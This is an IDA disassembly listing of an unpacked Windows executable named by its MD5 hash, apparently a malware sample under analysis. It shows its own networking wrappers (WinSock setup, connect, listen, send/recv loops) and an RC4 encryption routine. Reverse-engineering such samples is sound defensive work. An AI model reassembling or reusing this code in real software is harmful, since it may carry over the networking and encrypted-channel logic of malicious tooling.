;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 774BF71432CA6DC7E45504E856AA1866
; File Name : u:\work\774bf71432ca6dc7e45504e856aa1866_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00040000 ( 262144.)
; Section size in file : 00040000 ( 262144.)
; Offset to raw data for section: 00001000
; Flags C0000060: Text Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
DMN0 segment para public 'DATA' use32
assume cs:DMN0
;org 401000h
assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_401001 proc near ; CODE XREF: sub_40400E+3Fp
; sub_404967+D1p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_401013
; ---------------------------------------------------------------------------
loc_40100B: ; CODE XREF: sub_401001+14j
call dword_411CC4
mov esi, eax
loc_401013: ; CODE XREF: sub_401001+8j
test esi, esi
jz short loc_40100B
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
cmp dword ptr [ebx], 0
jnz short loc_40102F
inc dword ptr [ebx]
loc_40102F: ; CODE XREF: sub_401001+2Aj
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_401001 endp
; =============== S U B R O U T I N E =======================================
sub_40103C proc near ; CODE XREF: sub_4067B0+20p
push offset dword_41285C
call dword_411CC8
retn
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401048 proc near ; CODE XREF: sub_40122A+35p
; sub_4019C3+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push offset dword_41285C
call dword_411CCC
push 1
mov eax, [ebp+arg_0]
push eax
call sub_406E00
pop ecx
pop ecx
mov ebx, eax
push offset dword_41285C
call dword_411CD0
mov eax, ebx
pop ebx
pop ebp
retn
sub_401048 endp
; =============== S U B R O U T I N E =======================================
sub_401076 proc near ; CODE XREF: sub_40122A+1Fp
; sub_401A3B+Bp ...
arg_0 = dword ptr 4
push offset dword_41285C
call dword_411CCC
push [esp+arg_0]
call sub_4071B0
pop ecx
push offset dword_41285C
call dword_411CD0
retn
sub_401076 endp
; =============== S U B R O U T I N E =======================================
sub_401097 proc near ; CODE XREF: sub_4067B0+2Ap
push offset dword_412874
call dword_411CC8
retn
sub_401097 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
xor esi, esi
cmp dword ptr [ebp+8], 0
jz loc_40115E
push 0FFFFFFF5h
call dword_411CD4
cmp eax, 0FFFFFFFFh
jz loc_40115E
push offset dword_412874
call dword_411CCC
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
push 100h
lea eax, [ebp-100h]
push eax
call sub_407280
add esp, 10h
mov ebx, eax
cmp ebx, 0FFh
jbe short loc_401140
push 1
lea eax, [ebx+80h]
push eax
call sub_406E00
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
lea eax, [ebx+1Fh]
push eax
push esi
call sub_407280
add esp, 10h
mov ebx, eax
push esi
push offset aS_0 ; "%s"
call sub_407320
pop ecx
pop ecx
push esi
call sub_4071B0
pop ecx
jmp short loc_401153
; ---------------------------------------------------------------------------
loc_401140: ; CODE XREF: DMN0:00401100j
lea eax, [ebp-100h]
push eax
push offset aS_0 ; "%s"
call sub_407320
pop ecx
pop ecx
loc_401153: ; CODE XREF: DMN0:0040113Ej
push offset dword_412874
call dword_411CD0
loc_40115E: ; CODE XREF: DMN0:004010B6j
; DMN0:004010CCj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_401165 proc near ; CODE XREF: sub_4067B0+25p
push offset dword_41288C
call dword_411CC8
retn
sub_401165 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push ebx
lea eax, [ebp-10h]
push eax
call dword_411CD8
cmp word ptr [ebp-8], 0Ch
jnb short loc_401190
mov ebx, offset aAm ; "AM"
jmp short loc_401195
; ---------------------------------------------------------------------------
loc_401190: ; CODE XREF: DMN0:00401187j
mov ebx, offset aPm ; "PM"
loc_401195: ; CODE XREF: DMN0:0040118Ej
push ebx
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
mov ecx, 0Ch
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-10h]
mov ecx, 64h
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s"
push dword ptr [ebp+8]
call sub_407380
add esp, 24h
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push offset dword_41288C
call dword_411CCC
push offset aA ; "a"
push dword ptr [ebp+8]
call sub_4073C0
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_40121A
lea eax, [ebp+10h]
mov [ebp-4], eax
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push ebx
call sub_407470
add esp, 0Ch
push ebx
call sub_407620
pop ecx
loc_40121A: ; CODE XREF: DMN0:004011FCj
push offset dword_41288C
call dword_411CD0
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40122A proc near ; CODE XREF: sub_4067B0+4Bp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
jmp short loc_40124F
; ---------------------------------------------------------------------------
loc_401237: ; CODE XREF: sub_40122A+2Cj
dec dword_411000
mov eax, dword_411000
push dword_4128A4[eax*4]
call sub_401076
pop ecx
loc_40124F: ; CODE XREF: sub_40122A+Bj
cmp dword_411000, 0
jnz short loc_401237
jmp short loc_4012CB
; ---------------------------------------------------------------------------
loc_40125A: ; CODE XREF: sub_40122A+ADj
push 401h
call sub_401048
pop ecx
mov edx, dword_411000
mov dword_4128A4[edx*4], eax
cmp byte ptr [ebx], 22h
jnz short loc_40127E
inc ebx
mov [ebp+var_1], 22h
jmp short loc_401282
; ---------------------------------------------------------------------------
loc_40127E: ; CODE XREF: sub_40122A+4Bj
mov [ebp+var_1], 20h
loc_401282: ; CODE XREF: sub_40122A+52j
and [ebp+var_8], 0
mov eax, dword_411000
lea edx, [eax+1]
mov dword_411000, edx
mov esi, dword_4128A4[eax*4]
jmp short loc_4012A3
; ---------------------------------------------------------------------------
loc_40129D: ; CODE XREF: sub_40122A+8Bj
mov al, [ebx]
mov [esi], al
inc esi
inc ebx
loc_4012A3: ; CODE XREF: sub_40122A+71j
mov al, [ebx]
test al, al
jz short loc_4012B7
cmp al, [ebp+var_1]
jz short loc_4012B7
cmp [ebp+var_8], 400h
jl short loc_40129D
loc_4012B7: ; CODE XREF: sub_40122A+7Dj
; sub_40122A+82j
cmp [ebp+var_1], 22h
jnz short loc_4012C6
cmp byte ptr [ebx], 22h
jnz short loc_4012C6
inc ebx
jmp short loc_4012C6
; ---------------------------------------------------------------------------
loc_4012C5: ; CODE XREF: sub_40122A+9Fj
inc ebx
loc_4012C6: ; CODE XREF: sub_40122A+91j
; sub_40122A+96j ...
cmp byte ptr [ebx], 20h
jz short loc_4012C5
loc_4012CB: ; CODE XREF: sub_40122A+2Ej
cmp byte ptr [ebx], 0
jz short loc_4012D9
cmp dword_411000, 20h
jl short loc_40125A
loc_4012D9: ; CODE XREF: sub_40122A+A4j
mov eax, dword_411000
and dword_4128A4[eax*4], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40122A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4012EC proc near ; CODE XREF: sub_4067B0+256p
var_190 = byte ptr -190h
push ebp
mov ebp, esp
sub esp, 190h
push ebx
push esi
mov bx, 2
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_406D6E
mov esi, eax
test esi, esi
jz short loc_40133C
mov bx, 101h
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_406D6E
mov esi, eax
test esi, esi
jz short loc_40132F
xor eax, eax
jmp short loc_40134A
; ---------------------------------------------------------------------------
loc_40132F: ; CODE XREF: sub_4012EC+3Dj
push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
call nullsub_2
pop ecx
jmp short loc_401347
; ---------------------------------------------------------------------------
loc_40133C: ; CODE XREF: sub_4012EC+23j
push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
call nullsub_2
pop ecx
loc_401347: ; CODE XREF: sub_4012EC+4Ej
xor eax, eax
inc eax
loc_40134A: ; CODE XREF: sub_4012EC+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4012EC endp
; ---------------------------------------------------------------------------
call sub_406D74
xor eax, eax
inc eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401359 proc near ; CODE XREF: sub_402896+BDp
; sub_403C3F+DCp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_406D7A
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_401377
xor eax, eax
jmp short loc_4013CD
; ---------------------------------------------------------------------------
loc_401377: ; CODE XREF: sub_401359+18j
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406D80
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406D80
mov [ebp+var_4], 1
push 4
lea eax, [ebp+var_4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406D80
mov eax, ebx
loc_4013CD: ; CODE XREF: sub_401359+1Cj
pop ebx
mov esp, ebp
pop ebp
retn
sub_401359 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_406D7A
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4013F0
xor eax, eax
jmp short loc_401451
; ---------------------------------------------------------------------------
loc_4013F0: ; CODE XREF: DMN0:004013EAj
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406D80
imul eax, [ebp+8], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406D80
xor eax, eax
cmp dword ptr [ebp+10h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406D80
mov eax, ebx
loc_401451: ; CODE XREF: DMN0:004013EEj
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+8]
imul eax, [ebp+10h], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406D80
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406D80
xor eax, eax
cmp dword ptr [ebp+14h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406D80
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4014C2 proc near ; CODE XREF: sub_4025A9+15Dp
; sub_4025A9+1B4p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_406D86
xor eax, eax
inc eax
retn
sub_4014C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014CF proc near ; CODE XREF: sub_4042CD+567p
; sub_4042CD+5E1p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
mov ebx, [ebp+arg_0]
and [ebp+var_10C], 0
and [ebp+var_108], 0
and [ebp+var_104], 0
cmp [ebp+var_104], 40h
jnb short loc_401511
mov eax, [ebp+var_104]
lea edx, [eax+1]
mov [ebp+var_104], edx
mov [ebp+eax*4+var_100], ebx
loc_401511: ; CODE XREF: sub_4014CF+2Aj
lea eax, [ebp+var_10C]
push eax
push 0
push 0
lea eax, [ebp+var_104]
push eax
push 0
call sub_406D8C
mov esi, eax
cmp eax, 0FFFFFFFFh
jz short loc_40153C
test esi, esi
jnz short loc_401539
xor eax, eax
jmp short loc_40153C
; ---------------------------------------------------------------------------
loc_401539: ; CODE XREF: sub_4014CF+64j
xor eax, eax
inc eax
loc_40153C: ; CODE XREF: sub_4014CF+60j
; sub_4014CF+68j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4014CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401542 proc near ; CODE XREF: sub_402562+13p
; sub_4025A9+1F5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call sub_406D92
mov ebx, eax
cmp eax, 0FFFFFFFFh
jz short loc_401562
mov eax, [ebp+var_4]
loc_401562: ; CODE XREF: sub_401542+1Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_401542 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401567 proc near ; CODE XREF: sub_4025A9+14Ep
; sub_402896+DBp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_406D98
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_406D9E
cmp eax, 0FFFFFFFFh
jnz short loc_4015AF
xor eax, eax
jmp short loc_4015B2
; ---------------------------------------------------------------------------
loc_4015AF: ; CODE XREF: sub_401567+42j
xor eax, eax
inc eax
loc_4015B2: ; CODE XREF: sub_401567+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_401567 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4015B7 proc near ; CODE XREF: sub_404967+110p
; sub_405DB5+2Bp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_406D98
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_406DA4
cmp eax, 0FFFFFFFFh
jnz short loc_4015FF
xor eax, eax
jmp short loc_401602
; ---------------------------------------------------------------------------
loc_4015FF: ; CODE XREF: sub_4015B7+42j
xor eax, eax
inc eax
loc_401602: ; CODE XREF: sub_4015B7+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_4015B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401607 proc near ; CODE XREF: sub_404967+290p
; sub_405DB5+48p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 5
push [ebp+arg_0]
call sub_406DAA
test eax, eax
jge short loc_40161C
xor eax, eax
jmp short loc_40161F
; ---------------------------------------------------------------------------
loc_40161C: ; CODE XREF: sub_401607+Fj
xor eax, eax
inc eax
loc_40161F: ; CODE XREF: sub_401607+13j
pop ebp
retn
sub_401607 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401621 proc near ; CODE XREF: sub_405DB5+63p
var_14 = dword ptr -14h
var_10 = word ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea esi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+arg_0]
call sub_406DB0
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_401664
xor eax, eax
jmp short loc_401666
; ---------------------------------------------------------------------------
loc_401664: ; CODE XREF: sub_401621+3Dj
mov eax, ebx
loc_401666: ; CODE XREF: sub_401621+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40166C proc near ; CODE XREF: sub_404967+2A8p
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
and dword ptr [edx], 0
mov word ptr [ebx], 0
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea edi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push edi
push [ebp+arg_0]
call sub_406DB0
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4016BE
xor eax, eax
jmp short loc_4016D5
; ---------------------------------------------------------------------------
loc_4016BE: ; CODE XREF: sub_40166C+4Cj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
mov [edx], eax
movzx eax, [ebp+var_E]
push eax
call sub_406DB6
mov [ebx], ax
mov eax, esi
loc_4016D5: ; CODE XREF: sub_40166C+50j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40166C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4016DC proc near ; CODE XREF: sub_401BAC+44p
; sub_401BAC+A3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_401707
; ---------------------------------------------------------------------------
loc_4016EA: ; CODE XREF: sub_4016DC+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_406DBC
mov esi, eax
test esi, esi
jg short loc_401703
or eax, 0FFFFFFFFh
jmp short loc_40170E
; ---------------------------------------------------------------------------
loc_401703: ; CODE XREF: sub_4016DC+20j
sub edi, esi
add ebx, esi
loc_401707: ; CODE XREF: sub_4016DC+Cj
test edi, edi
jg short loc_4016EA
mov eax, [ebp+arg_8]
loc_40170E: ; CODE XREF: sub_4016DC+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4016DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401713 proc near ; CODE XREF: sub_4025A9+1E3p
; sub_402896+149p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edi, ebx
xor ebx, ebx
jmp short loc_401742
; ---------------------------------------------------------------------------
loc_401722: ; CODE XREF: sub_401713+31j
push 0
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_406DBC
mov esi, eax
test esi, esi
jle short loc_401746
sub edi, esi
mov eax, [ebp+arg_4]
add eax, esi
mov [ebp+arg_4], eax
add ebx, esi
loc_401742: ; CODE XREF: sub_401713+Dj
test edi, edi
jg short loc_401722
loc_401746: ; CODE XREF: sub_401713+21j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_401713 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+10h]
mov edi, ebx
xor ebx, ebx
jmp short loc_40177C
; ---------------------------------------------------------------------------
loc_40175C: ; CODE XREF: DMN0:0040177Ej
push 0
push ebx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_406DBC
mov esi, eax
test esi, esi
jle short loc_401780
sub edi, esi
mov eax, [ebp+0Ch]
add eax, esi
mov [ebp+0Ch], eax
add ebx, esi
loc_40177C: ; CODE XREF: DMN0:0040175Aj
test edi, edi
jg short loc_40175C
loc_401780: ; CODE XREF: DMN0:0040176Ej
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401787 proc near ; CODE XREF: sub_401ADA+97p
; sub_4025A9+1A4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_4017B2
; ---------------------------------------------------------------------------
loc_401795: ; CODE XREF: sub_401787+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_406DC2
mov esi, eax
test esi, esi
jg short loc_4017AE
or eax, 0FFFFFFFFh
jmp short loc_4017B9
; ---------------------------------------------------------------------------
loc_4017AE: ; CODE XREF: sub_401787+20j
sub edi, esi
add ebx, esi
loc_4017B2: ; CODE XREF: sub_401787+Cj
test edi, edi
jg short loc_401795
mov eax, [ebp+arg_8]
loc_4017B9: ; CODE XREF: sub_401787+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_401787 endp
; =============== S U B R O U T I N E =======================================
sub_4017BE proc near ; CODE XREF: DMN0:00401882p
; sub_403C3F+30p ...
arg_0 = dword ptr 4
push ebx
push esi
xor esi, esi
push [esp+8+arg_0]
call sub_406DC8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4017F2
push [esp+8+arg_0]
call sub_406DCE
mov esi, eax
test esi, esi
jnz short loc_4017E9
or eax, 0FFFFFFFFh
jmp short loc_4017F4
; ---------------------------------------------------------------------------
loc_4017E9: ; CODE XREF: sub_4017BE+24j
mov eax, [esi+0Ch]
mov eax, [eax]
mov eax, [eax]
jmp short loc_4017F4
; ---------------------------------------------------------------------------
loc_4017F2: ; CODE XREF: sub_4017BE+15j
mov eax, ebx
loc_4017F4: ; CODE XREF: sub_4017BE+29j
; sub_4017BE+32j
pop esi
pop ebx
retn
sub_4017BE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp-10h]
push eax
call sub_407690
add esp, 0Ch
mov word ptr [ebp-10h], 2
mov dword ptr [ebp-14h], 10h
lea ebx, [ebp-10h]
lea eax, [ebp-14h]
push eax
push ebx
push dword ptr [ebp+8]
call sub_406DD4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_401837
xor eax, eax
jmp short loc_401852
; ---------------------------------------------------------------------------
loc_401837: ; CODE XREF: DMN0:00401831j
mov edx, [ebp+0Ch]
mov eax, [ebp-0Ch]
mov [edx], eax
movzx eax, word ptr [ebp-0Eh]
push eax
call sub_406DB6
mov edx, [ebp+10h]
mov [edx], ax
xor eax, eax
inc eax
loc_401852: ; CODE XREF: DMN0:00401835j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
mov byte ptr [ebp-400h], 0
push 400h
lea eax, [ebp-400h]
push eax
call sub_406DDA
lea eax, [ebp-400h]
push eax
call sub_4017BE
pop ecx
mov ebx, eax
mov [ebp-404h], ebx
mov eax, [ebp-404h]
push eax
call sub_406DE0
mov esi, eax
push esi
lea eax, [ebp-400h]
push eax
push offset aSIsS ; "%s is %s\n"
call nullsub_2
add esp, 0Ch
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018BB proc near ; CODE XREF: sub_401A55+14p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
and dword ptr [edx+400h], 0
mov edx, [ebp+arg_0]
and dword ptr [edx+404h], 0
mov ebx, [ebp+arg_0]
xor ecx, ecx
loc_4018DD: ; CODE XREF: sub_4018BB+2Cj
mov [ebx+ecx*4], ecx
inc ecx
cmp ecx, 100h
jl short loc_4018DD
and [ebp+var_8], 0
xor edi, edi
xor ecx, ecx
loc_4018F1: ; CODE XREF: sub_4018BB+77j
lea eax, [ebx+ecx*4]
mov [ebp+var_C], eax
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
mov esi, [ebp+var_8]
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+esi]
add eax, edx
movzx edi, al
mov eax, [ebx+edi*4]
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_4]
mov [ebx+edi*4], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
cmp eax, [ebp+arg_8]
jl short loc_40192B
and [ebp+var_8], 0
loc_40192B: ; CODE XREF: sub_4018BB+6Aj
inc ecx
cmp ecx, 100h
jl short loc_4018F1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4018BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40193B proc near ; CODE XREF: sub_401ADA+86p
; sub_401BAC+71p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ebx, [eax+400h]
mov edi, [eax+404h]
mov ecx, eax
and [ebp+var_8], 0
jmp short loc_4019A2
; ---------------------------------------------------------------------------
loc_40195B: ; CODE XREF: sub_40193B+6Dj
lea eax, [ebx+1]
movzx ebx, al
lea eax, [ecx+ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
movzx edi, dl
mov edx, [ecx+edi*4]
mov [ebp+var_C], edx
mov [eax], edx
mov eax, [ebp+var_4]
mov [ecx+edi*4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+var_10], eax
movsx edx, byte ptr [eax]
mov esi, [ebp+var_4]
mov eax, [ebp+var_C]
add eax, esi
movzx eax, al
xor edx, [ecx+eax*4]
mov al, dl
mov edx, [ebp+var_10]
mov [edx], al
inc [ebp+var_8]
loc_4019A2: ; CODE XREF: sub_40193B+1Ej
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jl short loc_40195B
mov edx, [ebp+arg_0]
mov [edx+400h], ebx
mov edx, [ebp+arg_0]
mov [edx+404h], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40193B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019C3 proc near ; CODE XREF: sub_403C3F+EFp
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push 474h
call sub_401048
pop ecx
mov esi, eax
push 10020h
call sub_401048
pop ecx
mov [esi+46Ch], eax
mov [ebp+var_1], 5Ah
xor ebx, ebx
loc_4019ED: ; CODE XREF: sub_4019C3+3Fj
mov al, [ebp+var_1]
mov [esi+ebx+4], al
movsx eax, [ebp+var_1]
lea eax, [ebx+eax*2]
mov [ebp+var_1], al
inc ebx
cmp ebx, 40h
jl short loc_4019ED
mov [ebp+var_1], 0A5h
xor ebx, ebx
loc_401A0A: ; CODE XREF: sub_4019C3+5Dj
mov al, [ebp+var_1]
mov [esi+ebx+44h], al
movsx eax, [ebp+var_1]
add eax, eax
sub eax, ebx
mov [ebp+var_1], al
inc ebx
cmp ebx, 20h
jl short loc_401A0A
mov eax, [ebp+arg_0]
mov [esi], eax
mov eax, [esi+46Ch]
mov [esi+470h], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
